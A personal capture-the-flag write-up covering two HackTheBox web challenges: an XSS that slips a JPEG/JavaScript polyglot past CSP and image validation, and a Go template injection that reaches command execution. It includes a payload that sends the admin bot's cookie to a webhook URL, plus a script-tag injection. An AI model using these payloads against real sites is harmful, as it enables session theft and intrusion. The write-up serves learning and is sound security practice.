# *SOME WEB THINGs THAT I LEARNED (part 3)* #### Recently i got some new things that i learned from some challs that i want to share. ###### This is from HackTheBox. ## 1. Two-Dots Horrors - The web challenges is a web app about horrors story which ends in 2 lines (thats why its called 2 dots horrors xD). Simple enough, the challenge let's us submit horror stories which contains 2 lines (2 dots), which will be reviewed by the admin bot. - The challenge also letting us update our profile's avatar, which is a crucial element in this challenge. Let's begin by looking at the code. ### a) Source code: - The source code contains a lot of code which responsible for register, login, authen ticating and render the web page, we'll only look at the crucial part (I'll try my best to explain this xD lmao ~~ i know i'm suck). - Looking at the code we can see these routes: ![image](https://hackmd.io/_uploads/By7F1u5Xp.png) - The ```/review``` routes responsible forthe admin bot to visit, which then will render the ```review.html``` file. Now the ```/api/submit``` routes will be called when we submit a story for the bot to review, which is check with regex whether it contains 2 dots. It doesn't care where the position of the 2 dots. If what being submitted has 2 dots, then it will work. And yes, using the ```AuthMiddleware```, we need to be logged in to able to do this. - Now, moving down we can see 2 more routes: ![image](https://hackmd.io/_uploads/H1RqxdcXp.png) - The ```/api/upload``` responsible for our avatar being upload and update to the page. This is 1 crucial part here since going deeper into this routes, it is calling the ```uploadImage``` function, follow it leads us to this: ![image](https://hackmd.io/_uploads/BJT-Wdq76.png) - Inside the **```UploadHelper.js```** file, we can see a module being exported. This module is using 2 external libs which are ```is-jpg``` and ```image-size```. Lets dive deep into these 2 crucial libs here. *(P/S: this gonna be so long lol, skip if you like xD)* - ***```is-jpg```***: A simple lib that checks whether a photo is jpg. It checks the first 3 bytes for the signature of JPG ![image](https://hackmd.io/_uploads/S1AtXdc7a.png) - ***```image-size```***: A library that calculates the width and height of the photos using ... a lot of code. This is it's Github: https://github.com/image-size/image-size. Now the code. Going into ```libs/types/jpg.ts```, that's where we gonna begin. Looking at the ```calculate``` function, it will: - First: skip the first 4 bytes, which are signatures. ![image](https://hackmd.io/_uploads/H1owc8omp.png) - Second: check the length of the next block using the ```readUInt16BE``` (This one is important when we build our payload). The function is located at ```utils.ts```. It takes in the offset at the first position, times with 2 power of 8, and plus the next offset(these offset is hex in JPG file format, which is turned into decimal using the UInt8Array) ![image](https://hackmd.io/_uploads/Bkzpq8iXT.png) ![image](https://hackmd.io/_uploads/r1tkUuc7T.png) - It then check the exif data. Nothing special there. Then it validate the file by checking if the input, which is block size is bigger than the actual file, or if the block doesn't start with ```0xFF```, it will throw exception. ![image](https://hackmd.io/_uploads/Bk6zoUjX6.png) - Then it checks the next bytes after the index i, which is the block size , whether the next byte is equals to one of the three, then it will return the size. ![image](https://hackmd.io/_uploads/B1N5iLiXa.png) - We can see that it will use those 2 library to check for the file signature, and the size which has to be 120 x 120 or higher. ![image](https://hackmd.io/_uploads/HkBAoUs7T.png) - Moving on to the admin bot. The bot is a headless chromium browser that visit everything that we submit to it, using the ```puppeteer``` library. It set the cookie being the flag. Any ideas yet? ![image](https://hackmd.io/_uploads/Bk4H2uq7T.png) - A bot that visit every thing that we submit with its cookie being that flag, what else could it be rather then *XSS*. The ```purgeData``` module is called in ```/api/submit```, which means right after we submit it will visit, then restart everthing.~~(Super annoying to be honest)~~. ### b) Planning: - Now, first the ```is-jpg``` lib will only check the first 3, but not all of the file, which this can leads to something sussy being injected into the rest of the file. With JPG's magic bytes at the start, we can inject anything we want right after that. - But an XSS challenge, but contains CSP? This gonna be hard ![image](https://hackmd.io/_uploads/BJu5kt57a.png) - Don't know what to do, we'll go back the the basics: Google. After searching around a bit i found this: https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs. You can read the explaination there. - So now we know we can add Javascript into JPG file and use it to bypass CSP, lets start by building the payload. ### c) Exploit: - You can either build the payload urself or use this guy's github:https://github.com/s-3ntinel/imgjs_polygloter. Let's do both: - Using Github: This payload should gen a JPG contains the XSS payload with the size 120x120. ```python img_polygloter.py jpg --height 120 --width 120 --payload "window.location.href='https://webhook-url?c='+document.cookie;" --output xss-steal-cookie.jpg``` - Build our own: This gonna be kind of tricky? Gotta calculate the block-size.We could follow PortSwigger step. For me I also read and follow this: https://thanhlocpanda.wordpress.com/2023/08/02/php-phar-image-polyglot-upload-root-me/ ![image](https://hackmd.io/_uploads/BkEgX7oXp.png) - So follow that instruction, we can see here, apply it to the ```image-size``` library, i should be 09 = <tab>, and next should be 3A = :. Which we can calculate the block size = 2362(that's where 0xFF will be, and 0xC0 will be right after it). - So my payload will be: ```ÿØÿà :JFIF=1;window.location.href='https://webhook.site/36ff2333-de30-448e-842c-a793ef269635?c='+document.cookie;/* {padding to 2361} {The rest of the bytes}``` - Now at the end, the rest of the bytes should end with **0x2A2FFFD9**(Like what PortSwigger said). The **0x2A2F** is translate to */, while **0xFFD9** is end of file. - But **0xFFC0** is only from 2362 to 2363, we need what in between of that and **0x2A2FFFD9**? Well looking back at the ```image-size``` we can see that it will extract at the fifth byte, which the method ```readUInt16BE``` will extract 2 bytes from the fifth byte (5 and 6) as its height, and so does width. => Between we can add **0xFF FF FF FF FF FF FF**. The first 3 0xFF is padding, then the 4 last is height and width. - Upload it onto the web app: ![image](https://hackmd.io/_uploads/By_s-ViXp.png) - Then, use the payload that PortSwigger provide and send it to the bot for preview, which would trigger the XSS, and send us the bot's cookie. ```<script charset="ISO-8859-1" src="/api/avatar/<username>"></script>..``` ![image](https://hackmd.io/_uploads/S1EOGEoQ6.png) ## 2. Render Quest - This is a Go web app challenge. Never learned Go before but will try my best. - Its a basic web site that render template file from your server when you give it the URL to the template file(.tpl). - Without sanitization, SSTI can occur. ### a) Source code: - The code is written in Go. Let's focus on things that important here. - It first defines a struct called ```RequestData```. This struct contains the information of our info such as our IP, UA, machine info, location.![image](https://hackmd.io/_uploads/HJf5hqsm6.png) - Then there are a lot of functions. Let's try to go through the important ones.: - *FetchServerInfo*: This function takes in a command as a string, then execute it, and returns the result. ![image](https://hackmd.io/_uploads/BJVdkooXa.png) - *isSubdirectory*: This function determines whether a given path is a subdirectory of a specified base path. It uses the filepath.Rel function to find the relative path between basePath and path. It will check whether that is a subdir or not, and if the file path contains ```..```, will return False. - *readFile*: This function takes in a filepath and read the content of that filepath. It will first check using the ```isSubdirectory```. If True, it will returns the content of the file. ![image](https://hackmd.io/_uploads/HyhUUssQa.png) - *readRemoteFile*: This function uses Get request to the remote server, then it read the content of the file using ```ReadAll``` to get the content of the file if the status code is 200.![image](https://hackmd.io/_uploads/S1iIKoi7T.png) - *getTpl*: This function is pretty long for 1 pic so i'll seperate each part. First, it will take two parameters, ```use_remote``` and ```page```. ![image](https://hackmd.io/_uploads/B1UUisjm6.png) Next it will define reqData with value is a struct RequestData to transfer it to the template. Then define some variables.![image](https://hackmd.io/_uploads/BJRM3iiQa.png) After that, declares a variable ```tmplFile```, which is use to hold the content of the template file. Then check if ```remote``` is True, then it will call the ```readRemoteFile``` function to get the content from the remote server. If not then it will try to read the file from it's server(path traversal here would not work since .. is being filtered). After that, it will parse a new page to render the template. ![image](https://hackmd.io/_uploads/ByV_0ijma.png) - This is where it's interesting. See how it ```Parse``` the template file without any checking or sanitization? This could lead to SSTI happened. Now i never learn Go so idk how SSTI works in Go, so back to Google i guess. After searching i found these articles, you can read them (they shoudl explain everything clear for ya). https://www.onsecurity.io/blog/go-ssti-method-research/ https://dev.to/pirateducky/ssti-method-confusion-in-go-517p ### b) Planning - Now we know what vulenrable and how to exploit it. Let's begin. - So basically, you can call any of the properties of the object that you render into the template, which that's how Go works? Idk xD i've never learned Go before so ... - This, combines with the fact that the web got no filter, we can call to the template using ```{{ }}``` brackets. For examples, calling ```{{ . }}```, should returns us everything thats being call inside the ReqData struct. - Reading the articles, we can see that they tried to use the template injection, and called to the methods in order to executes them. Which in fact they can, and even provide them parameters or variable that they need. - This means that we can use this, invoke the ```FetchServerInfo``` method, and use that to RCE. Niceee xDD. ![image](https://hackmd.io/_uploads/BkjTzhjXa.png) ### c) Exploit - Let's start by calling ```{{.}}``` just to test it out. But first we need to host a remote server, which contains a ```.tpl``` file so that the server can render. ![image](https://hackmd.io/_uploads/SJy9mnjm6.png) - Got the file going, now using ngrok to public it out. Then send the URL to the web app. ![image](https://hackmd.io/_uploads/S1Yg4nima.png) - Nice, it works. Now we just need to list it out, then cat the flag and we're done for today. ![image](https://hackmd.io/_uploads/BkI8EnimT.png) ![image](https://hackmd.io/_uploads/ByaI43o7T.png) ![image](https://hackmd.io/_uploads/HyyON2iXT.png) ## What i learned - Dang i was reading a lot of code, and yeah try to follow the flow of the code. - Should start trying harder to read library code in order to understand, don't overuse automate tools. - Debug go bruh bruh. xD - Learned something about how Go template engine works, just some basic ideas nothing much, but still it's something new to learn. ## Thank you for reading >.< Gud bye ![](https://hackmd.io/_uploads/BygPJfQlT.jpg)